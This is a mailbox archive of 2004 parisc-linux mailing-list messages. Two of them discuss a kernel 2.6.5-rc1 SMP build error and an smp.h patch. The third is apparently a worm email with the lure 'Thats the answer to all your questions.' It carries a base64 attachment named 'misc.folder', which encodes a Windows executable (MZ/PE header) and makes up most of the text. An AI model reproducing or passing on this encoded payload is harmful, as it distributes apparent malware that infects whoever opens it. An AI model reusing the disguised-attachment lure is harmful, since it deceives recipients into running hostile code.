drivers/usb/core/hcd.o drivers/usb/core/urb.o drivers/usb/core/message.o
drivers/usb/core/config.o drivers/usb/core/file.o drivers/usb/core/buffer.o
drivers/usb/core/driverfs.o drivers/usb/core/hcd-pci.o drivers/usb/core/devio.o
drivers/usb/core/inode.o drivers/usb/core/devices.o
Inconsistency detected by ld.so: dynamic-link.h: 164: elf_get_dynamic_info:
Assertion `info[9]->d_un.d_val == sizeof (Elf32_Rela)' failed!
make[3]: *** [drivers/usb/core/usbcore.o] Error 127
make[2]: *** [drivers/usb/core] Error 2

Any idea? (the same kernel 2.6.5-rc1 + same patches but with a500 config
+smp compiles well :) )

Thanks in advance,
   Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Spinlock patch, take 2
Date: Fri, 19 Mar 2004 17:27:52 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <40561EAF00003770@ocpmta1.freegates.net>
References: <40561EAF000035FA@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623285 7058 80.91.229.3 (22 Nov 2014 02:28:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:05 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>, parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Fri Mar 19 09:27:58 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 886E948B2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Mar 2004 09:27:58 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1B4Mqf-000808-00; Fri, 19 Mar 2004 17:27:53 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 19 Mar 2004 17:27:52 +0100
In-Reply-To: <40561EAF000035FA@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 19 Mar 2004 16:27:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21135

>Ongoing to try to apply it against 2.6.[45] and encounter very early a pb
>which seems to be solved by following patch:
--- include/asm-parisc/smp.h.orig	2004-01-28 08:24:41.000000000 +0100
+++ include/asm-pari
> c/smp.h	2004-03-19 11:34:04.078456992 +0100
@@ -54,7 +54,7 @@
 #define smp_processor_id()	(current_thread_info()->cpu)
 #define cpu_online(cpu) cpu_isset(cpu, cpu_online_map)
 
-#define cpu_possible_map	cpu_present_map
+#define cpu_possible_map	cpu_present_mask
 
 #endif /* CONFIG_SMP */
=========><=========
>
>Is it correct?
>
it seems ok as it even boot on a up b2k with this smp 32bit kernel :)

>But using c3k config and adding smp support to 2.6.5-rc1, I encounter this
>ld pb:
>[snip]
well apologies, though a 'make clean' before build the new kernel is just
requested.

hth,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: info@inlinux.at
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hi parisc-linux
Followup-To: gmane.linux.ports.hppa
Date: Fri, 19 Mar 2004 22:17:21 -0700 (MST)
Lines: 933
Approved: news@gmane.org
Message-ID: <20040320051721.180544829@dsl2.external.hp.com>
Reply-To: parisc-linux@parisc-linux.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="----------uEFUERddNUknNNKd"
X-Trace: ger.gmane.org 1416623286 7061 80.91.229.3 (22 Nov 2014 02:28:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: info@inlinux.at  Fri Mar 19 22:17:26 2004
Return-Path: <info@inlinux.at>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost (unknown [213.225.42.208])
	by dsl2.external.hp.com (Postfix) with SMTP id 180544829
	for <parisc-linux@parisc-linux.org>;
	Fri, 19 Mar 2004 22:17:21 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Mar 2004 05:17:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21136

------------uEFUERddNUknNNKd
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thats the answer to all your questions.

------------uEFUERddNUknNNKd
Content-Type: application/octet-stream; name="misc.folder"
Content-transfer-encoding: base64
Content-Disposition: attachment; filename="misc.folder"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAuaJWIagn722oJ+9tqCfvb
kCri22gJ+9t5AabbaAn722oJ+tsOCfvb6QGm220J+9s1K/Dbbwn724IW/ttrCfvb
bwWf22EJ+9uGAqXbawn7228FodtrCfvbUmljaGoJ+9sAAAAAAAAAAAAAAAAAAAAA
UEUAAEwBAwDM7Nw8AAAAAAAAAADgAA8BCwEFAABQAAAAIAAAALAAAEAHAQAAwAAA
ABABAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAMAEAABAAAAAAAAACAAAA
AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAACkIwEAPAEAAAAQAQCkEwAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAABBdXRvQwAAAACwAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADg
Li4uLgAAAAAAUAAAAMAAAABKAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAA
ACAAAAAQAQAAFgAAAE4AAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
